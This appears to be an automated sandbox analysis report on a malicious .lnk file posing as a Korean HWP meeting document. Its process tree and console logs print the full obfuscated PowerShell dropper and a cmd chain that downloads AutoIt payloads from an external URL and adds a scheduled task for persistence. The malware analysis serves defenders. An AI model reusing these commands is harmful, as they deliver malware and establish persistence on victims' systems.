popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

1. 알티피_엔지니어링본부 사업개발회의 자료.hwp.lnk

Generic Malware Antivirus GIF Format AntiDebug MSOffice File Lnk Format AntiVM HWP
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 June 28, 2024, 6:35 p.m. June 28, 2024, 6:37 p.m.
Size 2.0MB
Type MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has command line arguments, Icon number=0, Archive, ctime=Mon Dec 25 02:39:35 2023, mtime=Thu Jun 27 15:36:51 2024, atime=Mon Dec 25 02:39:35 2023, length=245248, window=hidenormalshowminimized
MD5 87dc4c8f67cffc8a9699328face923e2
SHA256 0aaec376904434197bae4f1a10ecfe8d4564d95fdfa8236ea960535710661c5f
CRC32 F2BA1F67
ssdeep 49152:N2RGBvIBLmushiLiDK5cxMf5zXSkOF2bv:NdvIBntu9MfPO2r
Yara
  • HWP_file_format - HWP Document File
  • Antivirus - Contains references to security software
  • Microsoft_Office_File_Zero - Microsoft Office File
  • lnk_file_format - Microsoft Windows Shortcut File Format
  • Lnk_Format_Zero - LNK Format
  • Generic_Malware_Zero - Generic Malware

  • cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "givs" "C:\Users\test22\AppData\Local\Temp\1. 알티피_엔지니어링본부 사업개발회의 자료.hwp.lnk"

    2556

    • cmd.exe "C:\Windows\System32\cmd.exe" /c for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$thumb=0;<#cVv vltb#>$sow=Get-ChildItem *.lnk;<#ScC AvLl#>$sow=$sow|<#NKU IALT#>where-object{$_.length -eq 0x0020890F};<#hpb BpOs#>$turtle=$sow;<#qca UHRj#>$sow=$sow|<#SKU AbBK#>Select-Object -ExpandProperty Name;<#PZI XrSY#>if($sow.length -eq 0){$thumb=1;<#bEY oNnP#>$sow=Get-ChildItem -Path $env:TEMP -Recurse -Filter *.lnk|<#xqH IlRX#>where-object{$_.length -eq 0x0020890F}|<#nVQ eWoJ#>ForEach-Object{$_.FullName}|<#fgr eAiU#>Select-Object -First 1;<#HaC KElI#>$turtle=$sow};<#wpd TXDw#>$exercise=$sow.substring(0,$sow.length-4);<#ziV bVoR#>$language=[System.IO.BinaryReader]::new([System.IO.File]::open($sow,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]::Read));<#dHW HTfJ#>try{$language.BaseStream.Seek(0x0000150F,[System.IO.SeekOrigin]::Begin);<#xEb eKFP#>$scream=$language.ReadBytes(0x00187400);<#CcE BEGf#>}finally{$language.Close()};<#yhE EqBv#>for($teenager=0;<#ulr Nfbg#>$teenager -lt $scream.count;<#gJE TxsN#>$teenager++){$scream[$teenager]=$scream[$teenager] -bxor 0x00};<#cCp CqOc#>[System.IO.File]::WriteAllBytes($exercise,$scream);<#wcK UzON#>if($thumb -eq 1){$ruin=$exercise}else{$ruin='.\'+$exercise};<#QBj mbNt#>& $ruin;<#rNu Eqav#>remove-item -path $turtle -force;<#FXh smYo#>"&mkdir c:\VezoQcO & attrib +h c:\VezoQcO & cd /d c:\VezoQcO & copy c:\windows\system32\curl.exe VezoQcO.exe & VezoQcO -k -o AutoIt3.exe https://cavasa.com.co/webpyp/wp-includes/images/crystal/hurryup/?rv=super^&za=mongo0 & VezoQcO -k -o xNQbMGm.au3 https://cavasa.com.co/webpyp/wp-includes/images/crystal/hurryup/?rv=super^&za=mongo1 & s^ch^ta^sks /delete /tn "xNQbMGm" /f & s^ch^ta^sks /create /sc minute /mo 1 /tn "xNQbMGm" /tr "c:\VezoQcO\AutoIt3.exe c:\VezoQcO\xNQbMGm.au3"

      2668

      • cmd.exe C:\Windows\system32\cmd.exe /c dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od

        2764

      • powershell.exe C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe "$thumb=0;<#cVv vltb#>$sow=Get-ChildItem *.lnk;<#ScC AvLl#>$sow=$sow|<#NKU IALT#>where-object{$_.length -eq 0x0020890F};<#hpb BpOs#>$turtle=$sow;<#qca UHRj#>$sow=$sow|<#SKU AbBK#>Select-Object -ExpandProperty Name;<#PZI XrSY#>if($sow.length -eq 0){$thumb=1;<#bEY oNnP#>$sow=Get-ChildItem -Path $env:TEMP -Recurse -Filter *.lnk|<#xqH IlRX#>where-object{$_.length -eq 0x0020890F}|<#nVQ eWoJ#>ForEach-Object{$_.FullName}|<#fgr eAiU#>Select-Object -First 1;<#HaC KElI#>$turtle=$sow};<#wpd TXDw#>$exercise=$sow.substring(0,$sow.length-4);<#ziV bVoR#>$language=[System.IO.BinaryReader]::new([System.IO.File]::open($sow,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]::Read));<#dHW HTfJ#>try{$language.BaseStream.Seek(0x0000150F,[System.IO.SeekOrigin]::Begin);<#xEb eKFP#>$scream=$language.ReadBytes(0x00187400);<#CcE BEGf#>}finally{$language.Close()};<#yhE EqBv#>for($teenager=0;<#ulr Nfbg#>$teenager -lt $scream.count;<#gJE TxsN#>$teenager++){$scream[$teenager]=$scream[$teenager] -bxor 0x00};<#cCp CqOc#>[System.IO.File]::WriteAllBytes($exercise,$scream);<#wcK UzON#>if($thumb -eq 1){$ruin=$exercise}else{$ruin='.\'+$exercise};<#QBj mbNt#>& $ruin;<#rNu Eqav#>remove-item -path $turtle -force;<#FXh smYo#>"

        2820

      • schtasks.exe schtasks /create /sc minute /mo 1 /tn "xNQbMGm" /tr "c:\VezoQcO\AutoIt3.exe c:\VezoQcO\xNQbMGm.au3"

        3008

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: call
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe "$thumb=0;<#cVv vltb#>$sow=Get-ChildItem *.lnk;<#ScC AvLl#>$sow=$sow|<#NKU IALT#>where-object{$_.length -eq 0x0020890F};<#hpb BpOs#>$turtle=$sow;<#qca UHRj#>$sow=$sow|<#SKU AbBK#>Select-Object -ExpandProperty Name;<#PZI XrSY#>if($sow.length -eq 0){$thumb=1;<#bEY oNnP#>$sow=Get-ChildItem -Path $env:TEMP -Recurse -Filter *.lnk|<#xqH IlRX#>where-object{$_.length -eq 0x0020890F}|<#nVQ eWoJ#>ForEach-Object{$_.FullName}|<#fgr eAiU#>Select-Object -First 1;<#HaC KElI#>$turtle=$sow};<#wpd TXDw#>$exercise=$sow.substring(0,$sow.length-4);<#ziV bVoR#>$language=[System.IO.BinaryReader]::new([System.IO.File]::open($sow,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]::Read));<#dHW HTfJ#>try{$language.BaseStream.Seek(0x0000150F,[System.IO.SeekOrigin]::Begin);<#xEb eKFP#>$scream=$language.ReadBytes(0x00187400);<#CcE BEGf#>}finally{$language.Close()};<#yhE EqBv#>for($teenager=0;<#ulr Nfbg#>$teenager -lt $scream.count;<#gJE TxsN#>$teenager++){$scream[$teenager]=$scream[$teenager] -bxor 0x00};<#cCp CqOc#>[System.IO.File]::WriteAllBytes($exercise,$scream);<#wcK UzON#>if($thumb -eq 1){$ruin=$exercise}else{$ruin='.\'+$exercise};<#QBj mbNt#>& $ruin;<#rNu Eqav#>remove-item -path $turtle -force;<#FXh smYo#>"
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: mkdir
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: c:\VezoQcO
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: attrib
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: +h c:\VezoQcO
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: cd
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: /d c:\VezoQcO
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: copy
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: c:\windows\system32\curl.exe VezoQcO.exe
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: VezoQcO
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: -k -o AutoIt3.exe https://cavasa.com.co/webpyp/wp-includes/images/crystal/hurryup/?rv=super&za=mongo0
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: VezoQcO
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: -k -o xNQbMGm.au3 https://cavasa.com.co/webpyp/wp-includes/images/crystal/hurryup/?rv=super&za=mongo1
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: schtasks
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: /delete /tn "xNQbMGm" /f
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: schtasks
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: /create /sc minute /mo 1 /tn "xNQbMGm" /tr "c:\VezoQcO\AutoIt3.exe c:\VezoQcO\xNQbMGm.au3"
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: The system cannot find the file specified.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: 'VezoQcO' is not recognized as an internal or external command, operable program or batch file.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

 buffer: 'VezoQcO' is not recognized as an internal or external command, operable program or batch file.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

 buffer: Method invocation failed because [System.IO.BinaryReader] doesn't contain a met
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: hod named 'new'.
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:584
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + $thumb=0;<#cVv vltb#>$sow=Get-ChildItem *.lnk;<#ScC AvLl#>$sow=$sow|<#NKU IAL
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: T#>where-object{$_.length -eq 0x0020890F};<#hpb BpOs#>$turtle=$sow;<#qca UHRj#>
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: $sow=$sow|<#SKU AbBK#>Select-Object -ExpandProperty Name;<#PZI XrSY#>if($sow.le
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: ngth -eq 0){$thumb=1;<#bEY oNnP#>$sow=Get-ChildItem -Path $env:TEMP -Recurse -F
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: ilter *.lnk|<#xqH IlRX#>where-object{$_.length -eq 0x0020890F}|<#nVQ eWoJ#>ForE
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: ach-Object{$_.FullName}|<#fgr eAiU#>Select-Object -First 1;<#HaC KElI#>$turtle=
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: $sow};<#wpd TXDw#>$exercise=$sow.substring(0,$sow.length-4);<#ziV bVoR#>$langua
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: ge=[System.IO.BinaryReader]::new <<<< ([System.IO.File]::open($sow,[System.IO.F
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: ileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]::Read));<#dHW
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: HTfJ#>try{$language.BaseStream.Seek(0x0000150F,[System.IO.SeekOrigin]::Begin);
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: <#xEb eKFP#>$scream=$language.ReadBytes(0x00187400);<#CcE BEGf#>}finally{$langu
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: age.Close()};<#yhE EqBv#>for($teenager=0;<#ulr Nfbg#>$teenager -lt $scream.coun
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: t;<#gJE TxsN#>$teenager++){$scream[$teenager]=$scream[$teenager] -bxor 0x00};<#
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: cCp CqOc#>[System.IO.File]::WriteAllBytes($exercise,$scream);<#wcK UzON#>if($th
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: umb -eq 1){$ruin=$exercise}else{$ruin='.\'+$exercise};<#QBj mbNt#>& $ruin;<#rNu
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: Eqav#>remove-item -path $turtle -force;<#FXh smYo#>
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (new:String) [], RuntimeExcept
console_handle: 0x00000107
1 1 0

WriteConsoleW

 buffer: ion
console_handle: 0x00000113
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : MethodNotFound
console_handle: 0x0000011f
1 1 0

WriteConsoleW

 buffer: You cannot call a method on a null-valued expression.
console_handle: 0x0000013f
1 1 0

WriteConsoleW

 buffer: At line:1 char:871
console_handle: 0x0000014b
1 1 0

WriteConsoleW

 buffer: + $thumb=0;<#cVv vltb#>$sow=Get-ChildItem *.lnk;<#ScC AvLl#>$sow=$sow|<#NKU IAL
console_handle: 0x00000157
1 1 0

WriteConsoleW

 buffer: T#>where-object{$_.length -eq 0x0020890F};<#hpb BpOs#>$turtle=$sow;<#qca UHRj#>
console_handle: 0x00000163
1 1 0

WriteConsoleW

 buffer: $sow=$sow|<#SKU AbBK#>Select-Object -ExpandProperty Name;<#PZI XrSY#>if($sow.le
console_handle: 0x0000016f
1 1 0

WriteConsoleW

 buffer: ngth -eq 0){$thumb=1;<#bEY oNnP#>$sow=Get-ChildItem -Path $env:TEMP -Recurse -F
console_handle: 0x0000017b
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f0b98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f13d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f13d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f13d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1598
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1598
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1598
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1598
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1598
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1598
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f09d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f09d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f09d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f13d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f13d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f13d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1298
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f13d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f13d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f13d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f13d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f13d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f13d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f13d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1718
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1718
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1718
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1718
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1718
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1718
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1718
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1718
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1718
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1718
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1718
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1718
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1718
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1718
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1658
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1658
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1658
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1658
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1658
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1658
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1658
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1658
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1658
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1658
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1658
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f1658
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 1769472
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a00000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b70000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2820
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72891000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0266a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2820
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72892000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02662000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02672000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b71000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b72000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026da000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02673000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02674000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026eb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0266b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02675000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026dc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02676000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ec000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
